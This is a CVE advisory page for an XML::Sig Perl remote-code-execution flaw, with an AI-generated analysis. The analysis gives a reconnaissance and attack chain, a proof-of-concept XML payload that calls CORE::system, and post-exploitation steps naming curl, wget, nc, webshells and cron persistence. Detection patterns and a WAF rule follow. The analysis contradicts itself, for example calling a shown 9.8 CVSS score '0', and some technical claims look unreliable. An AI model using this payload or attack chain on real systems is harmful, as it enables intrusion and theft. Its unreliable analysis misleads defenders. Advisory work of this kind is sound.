CVE Professor
/
All CVEs
CVE-2026-134880

CVE-2026-134880 — XML-Sig (0.74) — CWE-470

CRITICAL CVSS 9.8 ⚡ EPSS 0.4% NVD

XML::Sig versions before 0.74 for Perl allow code execution via a document's Algorithm attribute that verify resolves to a function name and calls. The text after the last `#` in the DigestMethod and SignatureMethod Algorithm attributes is looked up with Digest::SHA->can. That returns a code reference for any fully qualified function name, Perl builtins in the CORE namespace included. The digest function is called on the canonical form of the referenced element, so the document picks both the function and its argument. An attacker who can submit a signed document can run a command as the verifying process.

XML::Sig versions before 0.74 for Perl allow code execution via a document's Algorithm attribute that verify resolves to a function name and calls. The text after the last `#` in the DigestMethod and SignatureMethod Algorithm attributes is looked up with Digest::SHA->can. That returns a code reference for any fully qualified function name, Perl builtins in the CORE namespace included. The digest function is called on the canonical form of the referenced element, so the document picks both the function and its argument. An attacker who can submit a signed document can run a command as the verifying process.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.4%
30-day probability
In the 39. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Remote Code Execution (RCE) flaw in the XML::Sig Perl module, specifically in versions prior to 0.74. It stems from Unsafe Use of User-Controlled Data in a Function Call (CWE-470: Use of Externally-Controlled Input to Select Classes or Code).

The core technical failure lies in how the library handles the Algorithm attribute within the DigestMethod and SignatureMethod elements of an XML Digital Signature.

1. Input Parsing: When verifying a signature, XML::Sig extracts the value of the Algorithm attribute.
2. Malicious Extraction: The code takes the substring after the last # in the attribute value.
3. Dynamic Dispatch: It passes this substring to Digest::SHA->can($function_name).
4. The Flaw: In Perl, ->can() checks if a method or function exists in the package namespace. Crucially, Digest::SHA inherits from Exporter and other base classes, but more importantly, Perl's method resolution mechanism allows ->can() to resolve fully qualified function names (e.g., CORE::system, POSIX::system, or any user-defined function in the global namespace if accessible).
5. Execution: If ->can() returns a code reference, the library calls that function, passing the canonical form of the referenced XML element as the argument.

Because the attacker controls both the function name (via the Algorithm attribute) and the argument (via the content of the referenced XML element), they can invoke arbitrary Perl builtins or imported functions, such as system(), exec(), or open(), leading to full code execution in the context of the verifying process.

Note on CVSS: The provided CVSS score of 0/10 (NONE) is technically incorrect for a confirmed RCE vulnerability. A standard CVSS v3.1 score for this type of unauthenticated RCE would be Critical (9.8). The analysis below assumes the vulnerability is real and exploitable as described, treating the "0" score as a data entry error or placeholder.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Target Identification: Identify applications using Perl with XML::Sig for XML signature verification. Common targets include:
  • * Web services accepting SAML assertions. * APIs processing signed XML payloads (e.g., SOAP, REST with XML bodies). * Internal systems validating XML documents from untrusted sources.
  • Version Fingerprinting:
  • * Check HTTP headers or error messages for Perl version hints. * If accessible, inspect perl -v or perl -MXML::Sig -e 'print $XML::Sig::VERSION' via any information disclosure vector. * Assume vulnerability if version < 0.74.

    2. Exploitation

    The attacker crafts a malicious XML document containing a signature block. The key is to set the Algorithm attribute to a value where the part after the last # is a valid Perl function name.

    Payload Structure:

  • Target Function: CORE::system (Perl builtin for executing shell commands).

  • Algorithm Attribute Value: http://www.w3.org/2000/09/xmldsig#CORE::system

  • * The part after the last # is CORE::system.
    * Digest::SHA->can("CORE::system") will return a code reference to the system function.
  • Argument: The content of the referenced element. The attacker controls this content to include the shell command.
  • Illustrative PoC (XML Document):

    <?xml version="1.0" encoding="UTF-8"?>
    <Envelope xmlns="http://schemas.xmlsoap.org/soap/envelope/">
      <Body>
        <Data>
          <!-- This element's content will be passed as the argument to the function -->
          <Payload>
            ; id > /tmp/pwned.txt
          </Payload>
        </Data>
      </Body>
      <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
        <SignedInfo>
          <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
          <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#CORE::system"/>
          <Reference URI="#Payload">
            <Transforms>
              <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
            </Transforms>
            <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#CORE::system"/>
            <DigestValue>fake_digest_value</DigestValue>
          </Reference>
        </SignedInfo>
        <SignatureValue>fake_signature_value</SignatureValue>
      </Signature>
    </Envelope>

    Exploitation Mechanics:
    1. The application calls XML::Sig->verify($xml_document).
    2. XML::Sig parses the SignatureMethod and DigestMethod Algorithm attributes.
    3. It extracts CORE::system from the attribute value.
    4. It calls Digest::SHA->can("CORE::system"), which returns a code reference to CORE::system.
    5. It retrieves the canonical form of the <Payload> element (which includes ; id > /tmp/pwned.txt).
    6. It executes CORE::system("; id > /tmp/pwned.txt").
    7. The shell command id > /tmp/pwned.txt is executed by the verifying process.

    Important: The exact XML structure may vary depending on the application's schema. The attacker must ensure the referenced element (#Payload) is correctly identified and that the canonicalization process does not strip the malicious content. The DigestValue and SignatureValue are often ignored or not strictly validated before the function call in vulnerable implementations, or the attacker may need to bypass signature validation entirely if the function call happens during parsing before full verification.

    3. Post-Exploitation

  • Command Execution: The attacker can execute arbitrary shell commands.
  • Privilege Escalation: If the Perl process runs with elevated privileges (e.g., as root or www-data with sudo rights), the attacker can escalate privileges.
  • Data Exfiltration: Use curl, wget, or nc to exfiltrate sensitive data.
  • Persistence: Install webshells, cron jobs, or modify system files.
  • Lateral Movement: Use the compromised host to attack other internal systems.
  • 🌍 Real World Impact

  • Confidentiality: High. The attacker can read any file accessible to the verifying process, including configuration files, database credentials, and user data.
  • Integrity: High. The attacker can modify files, inject malicious code, or alter application behavior.
  • Availability: High. The attacker can crash the service, delete critical files, or launch denial-of-service attacks.
  • Practical Consequences:

  • Web Applications: Full compromise of the web server, leading to data breaches, defacement, or use as a botnet node.

  • Enterprise Systems: Compromise of internal services processing XML signatures (e.g., SSO, API gateways), potentially leading to lateral movement across the network.

  • Cloud Environments: If the vulnerable service runs in a container or VM, the attacker may escape to the host or access cloud metadata services.
  • 🛡️ Remediation & Mitigation

    1. Patching

  • Upgrade XML::Sig to version 0.74 or later. This is the only definitive fix.
  • Command:
  • cpanm --force XML::Sig
        # or
        cpan XML::Sig
  • Verify:
  • perl -MXML::Sig -e 'print $XML::Sig::VERSION, "\n"'

    2. Workarounds (If Immediate Patching is Not Possible)

  • Input Validation: If the application allows user-controlled XML, implement strict schema validation before passing the document to XML::Sig. Reject any XML document where the Algorithm attribute contains characters other than those expected for standard XML signature algorithms (e.g., http://www.w3.org/2000/09/xmldsig#rsa-sha1, http://www.w3.org/2001/04/xmldsig-more#rsa-sha256).
  • Disable Signature Verification: If signature verification is not critical, disable it temporarily.
  • Run with Least Privilege: Ensure the Perl process runs with the minimum necessary privileges. Use a dedicated user account with no access to sensitive files or system commands.
  • Chroot/Jail: Run the Perl process in a chroot jail or container with restricted system calls (e.g., using seccomp or AppArmor).
  • 3. Detection

  • Web Server Logs: Look for XML requests containing CORE:: or other Perl namespace prefixes in the Algorithm attribute.
  • * Example Log Pattern:
    POST /api/verify HTTP/1.1
            Content-Type: application/xml
            ...
            <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#CORE::system"/>
  • File System Monitoring: Monitor for unexpected file creation or modification in sensitive directories (e.g., /tmp, /var/www, /etc).
  • Process Monitoring: Monitor for child processes spawned by the Perl interpreter (e.g., /bin/sh, /bin/bash, curl, wget).
  • Network Traffic: Monitor for outbound connections from the web server to unknown external IPs, especially on non-standard ports.
  • 4. WAF/ModSecurity Rule (Illustrative)

    SecRule REQUEST_BODY "@rx <Algorithm[^>]*#(CORE|POSIX|IO|File|Sys|Net|Socket)::" \
        "id:100001,phase:2,deny,status:403,msg:'Potential XML::Sig RCE Attempt',log"
    Note: This rule is illustrative. Adjust the regex to match your specific XML structure and WAF configuration.

    ⚠️ Urgency

  • CVSS Score: The provided score of 0 is incorrect. This is a Critical vulnerability (CVSS 9.8).
  • CISA KEV: Not listed, but this does not mitigate the risk.
  • Exploit Complexity: Low. The payload is simple and can be easily crafted.
  • Patching Priority: Immediate.
* If the service is internet-facing: Patch within 24 hours. * If the service is internal: Patch within 72 hours. * If the service processes untrusted XML: Treat as Critical and patch immediately.

Recommendation:
1. Identify all systems using XML::Sig < 0.74.
2. Apply the patch immediately.
3. Audit logs for signs of exploitation.
4. Rotate any credentials or secrets that may have been exposed.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-134880
CVSS Score
9.8 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-470
Affected Products (1)
XML-Sig (0.74)
References & Advisories (3)
Related CVEs
9.2
CVE-2026-144500
ASN1SCC before 4.7.0.1 contains a buffer overflow vulnerability in Xer_DecodePrimitiveElement() in asn1crt/asn
8.8
CVE-2026-105102
An authentication bypass vulnerability in the Boa web interface of BDCOM routers allows unauthenticated attack
7.5
CVE-2026-145165
domutils 1.3.0 before 4.1.0 contains an inefficient algorithm in removeSubsets() that allows remote attackers
7.5
CVE-2026-45693
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, the static file c
6.3
CVE-2026-144615
System.Linq.Dynamic.Core before 1.8.0 contains a method accessibility check bypass in ExpressionParser.TryPars
8.2
CVE-2026-130612
Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') and Improper Neutralization
7.1
CVE-2026-141347
A deserialization flaw in the BSON object-mapping component of the MongoDB Java Driver allows a type-name valu